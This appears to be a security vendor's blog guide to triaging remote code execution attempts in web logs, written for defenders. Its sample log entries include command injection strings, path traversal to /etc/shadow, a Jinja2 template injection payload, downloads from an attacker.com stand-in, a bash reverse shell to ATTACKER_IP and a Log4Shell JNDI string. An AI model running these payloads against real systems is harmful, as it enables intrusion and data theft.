Live Security Walkthrough : Protecting Exposed AI Servers & Hijacked GPUs - Register Now !

RCE Attempts in Logs: Common Payload Patterns and Triage

Remote Code Execution (RCE) exploitation attempts continue to appear in widely used platforms, including recent cases such as React2Shell affecting React Server Components and Apache Tomcat RCE vulnerabilities. When attackers identify these weaknesses, they often begin probing applications with crafted requests to see how inputs are handled. 

These probing attempts frequently surface in application logs as unusual parameters, encoded payloads, or repeated requests targeting the same endpoint. The challenge is knowing when these signals reflect background probing activity or the early stages of an exploitation attempt. 

This guide shows how to identify potential RCE activity in logs and what to investigate when suspicious patterns appear. It begins with a 60-second RCE log check to quickly determine whether unusual activity may indicate an attack, then explains the log patterns that commonly appear as RCE attempts progress. 

60-Second RCE Log Triage Guide 

If your logs show two or more of the following right now, treat it as a potential Remote Code Execution attempt: 

  • Request parameters suddenly contain command keywords like id, whoami, uname, ls, or cat 
  • Requests attempt to access system files such as /etc/passwd or /proc/self/environ 
  • Long encoded strings appear in parameters (Base64 or heavily encoded input) 
  • The same endpoint receives repeated requests with different command variations 
  • Payloads reference shell tools such as bash, nc, python, curl, wget, or /dev/tcp 

Fast RCE Log Diagnostic Table 

The table below summarizes common log patterns that may indicate attempts to trigger Remote Code Execution vulnerabilities and the immediate actions to take: 

Log Symptom  Possible Vulnerability Path  Example Pattern  What to Do 
Shell command syntax in parameters  Command injection  /run?cmd=id  Review whether user input is passed to system commands 
Directory traversal paths  File inclusion or file access  /download?file=../../etc/passwd  Restrict access to sensitive file paths 
Encoded payloads in request bodies  Unsafe deserialization  rO0ABXNyABFqYXZh…  Decode payload and verify object processing logic 
Template expressions in parameters  Server-side template injection  q={{7*7}}  Ensure user input is not evaluated by template engines 
Execution endpoints receiving commands  Exposed command interface  /exec?command=whoami  Restrict endpoint access and validate input 
Reverse shell commands  Remote shell attempt  bash -i >& /dev/tcp/…  Investigate system activity and outbound connections 
External payload downloads  Payload staging  curl attacker.com/shell.sh  Review network activity and block external payload sources 

 Seeing multiple patterns from this table, especially targeting the same endpoint, may indicate an active attempt to exploit an RCE vulnerability 

Seeing RCE Indicators in Your Logs? Get the Indusface SOC on the bridge. 

 If Remote Code Execution patterns are appearing in your logs, you don’t have to investigate them alone.
Indusface security engineers can help validate the activity, block exploitation attempts, and deploy virtual patches to protect your application without requiring code changes. 

Get live help now 

Why RCE Attempts are Difficult to Detect in Logs 

Detecting Remote Code Execution attempts can be challenging. Attackers typically probe applications with crafted requests to understand how inputs are processed and to identify potential execution paths. 

Modern applications process user input across multiple components, including APIs, form inputs, automation workflows, and background services. Attackers take advantage of these entry points by injecting payloads through query parameters, headers, request bodies, and file uploads. As a result, suspicious payloads may appear scattered across different logs. 

Another challenge is payload obfuscation. Commands are frequently encoded using Base64, URL encoding, or nested encoding layers. This allows attackers to bypass simple filtering mechanisms and makes malicious requests harder to identify during manual log reviews. 

RCE exploitation is also typically multi-stage. Attackers may start with harmless-looking commands such as id or whoami to confirm command execution. Once successful, they escalate to actions such as reading system files, downloading external payloads, or establishing reverse shell connections. 

Because of this progression, identifying RCE attempts often requires analyzing request patterns across multiple logs and observing how suspicious activity evolves over time. 

Key Log Sources for Investigating RCE Attempts 

Examining different log sources helps reveal how suspicious requests interact with the application, server, and underlying system. 

RCE Stage  Where It Appears in Logs  What the Logs May Reveal 
Initial Probing  Web server access logs  Repeated requests testing parameters, unusual characters, encoded input, or attempts to access unexpected paths 
Payload Testing  Access logs, WAF logs  Requests containing command syntax, encoded payloads, or variations of suspicious inputs targeting the same endpoint 
Application Interaction  Application logs  Errors, exceptions, or abnormal processing triggered after suspicious requests 
Execution Attempt  System and process logs  Unexpected processes, scripts, or commands executed on the server 
Post-Exploitation Activity  Network monitoring logs  Outbound connections, script downloads, or communication with external systems 

What to Look for in Logs When Investigating RCE Attempts 

Remote Code Execution typically unfold through a sequence of probing attempts that gradually reveal whether an application can execute commands. By recognizing these patterns in logs, security teams can detect exploitation attempts before attackers gain full control of the system. 

The following signals commonly appear when reviewing logs for potential RCE activity. 

1. Suspicious Command Syntax in Request Parameters 

Attackers often initiate RCE attempts by inserting command syntax into request parameters to see whether the application executes the input as part of a system command. 

Applications normally expect structured inputs such as filenames, IDs, or short strings. When logs show parameters containing command separators or shell expressions, it may indicate attempts to manipulate how the application processes input. 

Example: 

GET /download?file=report.pdf;whoami 

In this request, the semicolon (;) acts as a command separator. If the application passes this parameter to a shell command, both commands could execute sequentially. 

Other separators that may appear in logs include: 

|
&&
||
`
$ 

When these characters appear inside parameters that normally contain simple values, the request should be investigated carefully. 

2. System Commands Embedded in Requests 

Attackers often test command execution by inserting simple system commands that reveal environment information. 

Example log entries: 

GET /export?file=data.csv;uname -a
GET /download?file=report.pdf;cat /etc/passwd 

Common reconnaissance commands include: 

  • whoami – reveals the user account running the process 
  • uname -a – displays operating system details 
  • ls – lists directory contents 
  • cat /etc/passwd – attempts to read system files 

These commands are typically used to confirm whether injected input is being executed by the server. 

3. Path Traversal and File Inclusion Attempts 

Some RCE attempts begin with requests that try to access files outside the intended directory structure. Attackers use these requests to explore the server’s file system, retrieve configuration data, or identify files that could later be used to trigger code execution. 

Example requests: 

GET /download?file=../../../../etc/passwd
GET /template?name=../../../../proc/self/environ 

Such requests use directory traversal sequences (../) to move outside the permitted directory and access system files. Logs showing repeated traversal patterns targeting different files or directories may indicate attempts to gather information about the server environment. 

In environments vulnerable to Local File Inclusion (LFI), attackers may attempt to include executable files through application parameters. 

Example: 

GET /index.php?page=../../../../var/log/apache2/access.log 

If the application includes and executes the referenced file, it may allow arbitrary code execution. When logs show repeated attempts to access system files or application configuration files, it may indicate that someone is attempting to escalate from file access vulnerabilities to code execution. 

4. Requests Targeting Execution Endpoints 

Some applications expose endpoints that run scripts or system tasks internally. These may exist for automation workflows, debugging operations, or administrative tools. 

If these endpoints are accessible externally, attackers may attempt to trigger them directly. 

Sample log entries: 

GET /run.php?cmd=id
GET /exec?command=whoami
POST /api/system/run 

Repeated requests targeting these endpoints with different command payloads often indicate attempts to test whether the application allows remote command execution. 

5. Encoded or Obfuscated Payloads 

Logs may sometimes contain request parameters with unusually long or encoded values. These encoded strings can hide commands or system instructions that are not immediately visible during initial log review. 

Sample request: 

GET /run?cmd=Y2F0IC9ldGMvcGFzc3dk 
Decoding this Base64 string reveals: 
cat /etc/passwd 

Encoded payloads can appear in several forms within logs, including: 

  • Base64-encoded command strings 
  • Heavily URL-encoded characters and symbols 
  • Unusually long parameter values that do not resemble normal input 

Because the payload is encoded, the request may initially appear harmless in logs. However, decoding suspicious parameters can reveal hidden command syntax or system instructions that indicate an attempt to execute commands on the server. Decoding suspicious parameters often reveals command syntax that is not immediately obvious during log review. 

6. Template Injection Payloads 

Logs may sometimes contain unusual template expressions when attackers test whether user input is evaluated by a server-side template engine.  

Example requests 

GET /search?q={{7*7}}
GET /profile?name={{config.items()}} 

These expressions are commonly used to check whether the template engine evaluates user input. If the application processes them, the result may appear in the response, confirming that template evaluation is occurring. 

Once template execution is confirmed, attackers may attempt to access internal objects exposed by the template engine to execute system commands. 

Sample payload 

{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}} 

If such expressions appear in logs, they may indicate attempts to escalate template injection into remote code execution. Requests containing unusual template syntax should be investigated carefully, especially in applications that use template engines such as Jinja2, Twig, or Freemarker. 

From Suspicious Request to Confirmed RCE: An Investigation Walkthrough 

Earlier sections explained how suspicious payloads appear in logs and what indicators may signal a potential Remote Code Execution attempt. However, detecting a suspicious request is only the first step. 

Many applications are regularly probed by automated scanners and bots, and not every unusual request leads to exploitation. What matters is how the activity evolves across multiple requests. 

The following stages illustrate how suspicious activity can progress from initial probing to potential remote code execution. 

Stage 1: Suspicious Request Triggers the Investigation 

At this stage, the request simply indicates that someone may be testing whether the application processes input in an unsafe way, often using payload patterns discussed earlier. 

To determine whether the activity requires deeper investigation, review surrounding requests for patterns such as repeated requests targeting the same endpoint, variations of the same payload or multiple suspicious parameters sent from the same source. 

Stage 2: Repeated Probing of the Same Endpoint 

When attackers suspect that a particular parameter or endpoint may be vulnerable, they often send multiple requests targeting the same location with slightly modified payloads. In logs, this typically appears as repeated requests to the same endpoint, with small variations in parameters designed to observe how the application processes different inputs. 

Example log patterns: 

GET /run?cmd=id 
GET /run?cmd=whoami 
GET /run?cmd=uname -a 

Requests like these often appear within seconds of each other and target the same parameter repeatedly. 

For investigators, this pattern suggests that the source of the traffic may be testing whether commands are executed or whether user input is evaluated by the application. 

At this stage, the activity begins to resemble systematic vulnerability probing. 

Stage 3: Environment Discovery 

If earlier probes indicate that input may interact with system components, attackers often begin collecting information about the server environment. 

Logs may start showing requests that attempt to reveal directory structures, runtime environment variables or accessible files or application paths.  

Sample log entries: 

GET /run?cmd=ls 
GET /run?cmd=pwd 
GET /template?name=../../../../proc/self/environ 

These requests may indicate that the attacker is attempting to understand: 

  • Where the application is running 
  • What files are accessible 
  • How the system environment is configured 

For investigators, this stage signals that the activity may be progressing beyond simple probing. 

Stage 4: Sensitive File Access Attempts 

After discovering accessible paths or command execution behavior, attackers may begin requesting sensitive system files or configuration data. Logs may show requests targeting files that contain user information, credentials, or system configuration details. 

Sample log entries: 

GET /run?cmd=cat /etc/passwd 
GET /download?file=../../../../etc/shadow 

These requests often target files that contain user accounts, credentials, or configuration information. 

When such requests appear after earlier probing activity, they may indicate that the attacker has identified a way to interact with the system and is attempting to extract useful information. 

Activity at this point represents a higher risk of exploitation or data exposure. 

Stage 5: Attempt to Execute External Payloads (Potential RCE) 

If earlier activity suggests that RCE may be possible, attackers often attempt to run more complex payloads or retrieve external scripts from remote servers. Logs may show requests that attempt to download or execute attacker-controlled resources. 

Sample log entries: 

GET /run?cmd=wget http://attacker.com/payload.sh 
GET /run?cmd=curl http://attacker.com/shell.sh 

These requests attempt to download tools or scripts from attacker-controlled infrastructure. 

If network logs show outbound connections to the referenced domain shortly after these requests, it may indicate that the server attempted to retrieve the payload. This stage often marks the transition from probing activity to active exploitation attempts. 

Stage 6: Indicators of Remote Shell Activity 

If payload execution succeeds, attackers may attempt to establish an interactive session with the server. Logs may reveal payloads designed to open reverse shell connections that allow remote command execution. 

Sample log entry 

POST /run?cmd=bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 

Such payloads redirect command input and output through a network connection, enabling attackers to interact with the system remotely. 

When these payloads appear in logs, investigators should review network activity for outbound connections to unfamiliar IP addresses or ports, as this may indicate that a remote shell was initiated. 

Stage 7: Persistent Command Execution 

Once attackers obtain remote access, they often deploy mechanisms that allow them to execute commands repeatedly without repeating complex exploitation steps. 

Logs may begin showing requests to scripts or endpoints capable of executing commands. 

Sample log entries 

GET /shell.php?cmd=id
GET /cmd.php?exec=whoami 

These scripts often function as web shells, allowing attackers to run commands through simple HTTP requests. 

Frequent requests targeting such endpoints may indicate that attackers are actively interacting with the compromised system and maintaining ongoing access. 

Summary: Typical RCE Investigation Progression 

Investigation Stage  What Appears in Logs  What It May Indicate  Severity 
Stage 1 – Suspicious request  unusual payload or parameter  possible vulnerability probe  Low 
Stage 2 – Repeated endpoint probing  multiple payload variations  vulnerability testing  Medium 
Stage 3 – Environment discovery  directory or environment queries  system reconnaissance  Medium 
Stage 4 – Sensitive file access  attempts to retrieve system files  possible information disclosure  High 
Stage 5 – Payload execution attempts  download or execution commands  exploitation attempt  High 
Stage 6 – Remote shell indicators  reverse shell payloads  possible command execution  Critical 
Stage 7 – Persistent command execution  web shell interaction  confirmed compromise  Critical 

Recognizing how suspicious activity progresses across these stages helps security teams determine whether a request is simply part of routine scanning or an attack that is escalating toward Remote Code Execution. 

Early identification of these patterns allows defenders to investigate suspicious activity and contain potential exploitation before attackers gain persistent control of the system. 

Real-World RCE Exploits and What They Reveal in Logs 

In many real incidents, exploitation attempts leave distinctive request patterns in logs before the attack succeeds. For example: 

1. Log4Shell — JNDI Injection Patterns in Requests 

The Log4Shell vulnerability exploited Apache Log4j’s JNDI lookup mechanism by injecting expressions such as: 

${jndi:ldap://attacker-domain.com/a} 

During the outbreak, these payloads appeared in query parameters, HTTP headers, and user-agent fields. Logs often showed large volumes of requests containing ${jndi: expressions, indicating automated scanning and exploitation attempts targeting vulnerable applications. 

2. Langflow RCE — Code Execution Requests to Validation APIs 

The Langflow RCE vulnerability allowed attackers to execute Python code through a validation endpoint intended for testing workflows. Exploitation attempts typically appeared in logs as repeated requests to the same API endpoint: 

POST /api/v1/validate/code 

Requests often contained Python payloads designed to execute system commands, with multiple variations sent in quick succession to confirm whether execution was possible. 

3. Metro4Shell — Command Payloads Targeting Development Endpoints 

ThMetro4Shell vulnerability affected exposed React Native development servers. Attackers interacted with development endpoints such as: 

GET /open-url 

Logs frequently showed repeated requests to these endpoints with unusual parameters or command syntax, indicating attempts to trigger operating system commands through the development server interface. 

4. WPvivid Plugin RCE — Web Shell Activity After File Upload 

This WPvivid Plugin RCE vulnerability allowed attackers to upload malicious PHP files through a backup feature. The attack sequence usually appeared in logs as two distinct events: a file upload request followed by direct access to the uploaded script. 

POST /wp-admin/admin-ajax.php
GET /wp-content/uploads/shell.php 

Repeated requests to the uploaded file with command parameters often indicated that attackers were using it as a web shell. 

5. n8n Workflow RCE — Malicious Expression Execution 

The n8n vulnerability allowed attackers to inject malicious expressions into workflow definitions. Logs during exploitation attempts typically showed requests that created or modified workflows containing unusual expression syntax. 

Subsequent requests triggered workflow execution, which could lead to operating system command execution inside the application environment. 

What to Do When RCE Indicators Appear in Logs 

When logs suggest a potential Remote Code Execution attempt, the priority is determining whether the activity represents simple probing or an actual compromise. A structured response helps security teams quickly assess risk, contain potential threats, and prevent further exploitation. 

1. Identify the Affected Application Component 

Start by determining which part of the application handled the suspicious request. Reviewing the request path and parameters helps identify the specific endpoint or service involved. 

Endpoints responsible for automation workflows, administrative operations, or system-level tasks should be examined carefully, as these components are more likely to interact with system commands or external processes. 

Understanding the role of the affected endpoint helps investigators assess whether the request could realistically trigger command execution. 

2. Analyze the Payload Intent 

Next, determine what the payload was attempting to accomplish. Suspicious parameters may include encoded data, command fragments, or expressions designed to interact with underlying system components. 

Decoding and reviewing the payload helps clarify whether the request was attempting to: 

  • Execute a system command 
  • Access sensitive files 
  • Download external scripts 
  • Trigger a vulnerable application component 

Understanding the payload’s intent helps differentiate harmless scanning activity from attempts to actively exploit the application. 

3. Check for Signs of Execution 

Once the payload has been analyzed, determine whether the application executed the request. This typically involves reviewing system activity for indicators such as: 

  • Unexpected command execution 
  • Newly spawned processes 
  • Outbound connections initiated by the server 
  • Recently created or modified files 

Correlating these signals with the timing of the suspicious request helps determine whether the payload was successfully executed. 

4. Limit Further Exposure 

If there is any indication that exploitation may have occurred, immediate containment actions should be taken to reduce risk. Common containment measures include: 

  • Restricting access to the affected endpoint 
  • Blocking suspicious traffic sources 
  • Isolating affected systems for further investigation 

These steps help prevent attackers from continuing exploitation while the root cause is addressed. 

5. Remediate the Underlying Vulnerability 

To prevent the attack from recurring, teams must identify and fix the vulnerability that enabled the rce attempt. This typically involves reviewing the affected application component and addressing vulnerabilities such as unsafe command execution, insufficient input validation, insecure file uploads, exposed execution endpoints, or outdated dependencies. 

However, immediate remediation is not always straightforward. Code changes often require development cycles, testing, and deployment approvals, which can delay fixes even when the risk is critical. 

To reduce this exposure window, organizations can rely on autonomous or virtual patching mechanisms that block exploitation attempts while a permanent fix is being developed. For example, vulnerabilities identified can be mitigated by onboarding the application to AppTrana WAAPThe SwyftComply capability then deploys virtual patches autonomously and prevents exploitation without requiring code changes. 

6. Monitor for Follow-Up Activity 

Even after containment actions are taken, continued monitoring is essential. Attackers who gain execution capability may attempt additional actions such as deploying web shells, retrieving sensitive data, or establishing persistent access. 

Reviewing logs for related activity across application, system, and network monitoring tools helps confirm whether the attack was successfully contained. 

Seeing RCE Indicators Right Now? Bring the Indusface SOC into the Incident. 

When Remote Code Execution indicators begin appearing in your logs, time is critical. What may start as probing requests can quickly escalate into command execution, payload deployment, and full system compromise. 

By reaching out through the Under Attack page, Indusface security engineers work directly with your team to: 

  • Confirm whether command execution attempts are actively occurring using live traffic and backend telemetry 
  • Identify vulnerable endpoints across web applications, APIs, and exposed services 
  • Block malicious payloads and deploy protective rules to stop further exploitation 
  • Investigate whether attackers executed commands, accessed sensitive files, or established persistence 
  • Remain engaged with your team until the attack activity is fully contained 

You don’t have to analyze logs, trace payloads, and contain exploitation attempts alone while under pressure. 

Under Attack? Get live help now. 

Indusface
Indusface

Indusface is a leading application security SaaS company that secures critical Web, Mobile, and API applications of 5000+ global customers using its award-winning fully managed platform that integrates web application scanner, web application firewall, DDoS & BOT Mitigation, CDN, and threat intelligence engine.

Frequently Asked Questions (FAQs)

How can you detect Remote Code Execution attempts in logs?

Remote Code Execution attempts often appear in logs as suspicious parameters containing commansyntax, encoded payloads, or repeated requests targeting the same endpoint. Indicators may include commands like idwhoami, or uname, directory traversal paths such as ../../, or payloads attempting to download external scripts using wget or curl. 

What are common log patterns that indicate a potential RCE attack? +

Common log patterns include commanseparators (;, |&&), system commands embedded in parameters, encoded payloads (Base64 or URL-encoded), requests accessing sensitive files like /etc/passwd, or repeated requests targeting execution endpoints such as /run?cmd= or /exec?command=. 

Which logs should be reviewed when investigating an RCE attack? +

Investigating RCE attempts typically requires reviewing multiple log sources, including web server access logs, application logs, WAF logs, system process logs, and network monitoring logs. Each log source provides visibility into different stages of an attack, from initial probing to potential commanexecution. 

What commands commonly appear in RCE attack payloads? +

Attackers often use simple commands to test execution capability, including idwhoamiuname -als, and cat /etc/passwd. Once execution is confirmed, more complex commands such as curlwgetbash, or reverse shell payloads may appear in requests. 

How do attackers escalate from probing to full RCE exploitation? +

RCE attacks usually follow a staged progression. Attackers begin with probing requests, then test payload variations, gather environment information, attempt to access sensitive files, download external payloads, and eventually establish reverse shells or web shells for persistent commanexecution. 

What is the difference between command injection and Remote Code Execution? +

Commaninjection occurs when user input is passed to system commands without proper validation. Remote Code Execution is a broader outcome where attackers gain the ability to run arbitrary code on the server. Commaninjection vulnerabilities often become the pathway that enables RCE. 

What should you do if RCE indicators appear in your logs? +

When RCE indicators appear, first determine whether the suspicious payload was executed by reviewing application and system logs. Investigate for spawned processes, outbound connections, or newly created files. Immediately restrict access to vulnerable endpoints, block malicious traffic, and apply security controls or patches to prevent exploitation. 

Can Web Application Firewalls detect RCE attempts? +

Yes. Modern Web Application Firewalls (WAFs) can detect many RCE attempts by analyzing request payloads for commansyntax, encoded payloads, template injection patterns, and exploitation signatures. WAF telemetry also helps identify repeated probing activity targeting vulnerable endpoints. 

Join 51000+ Security Leaders

Get weekly tips on blocking ransomware, DDoS and bot attacks and Zero-day threats.

We're committed to your privacy. indusface uses the information you provide to us to contact you about our relevant content, products, and services. You may unsubscribe from these communications at any time. For more information, check out our Privacy Policy.

AppTrana

Fully Managed SaaS-Based Web Application Security Solution

Get free access to Integrated Application Scanner, Web Application Firewall, DDoS & Bot Mitigation, and CDN for 14 days

Get Started for Free Request a Demo

Gartner

Indusface is the only cloud WAAP (WAF) vendor with 100% customer recommendation for 4 consecutive years.

A Customers’ Choice for 2024, 2023 and 2022 - Gartner® Peer Insights™

The reviews and ratings are in!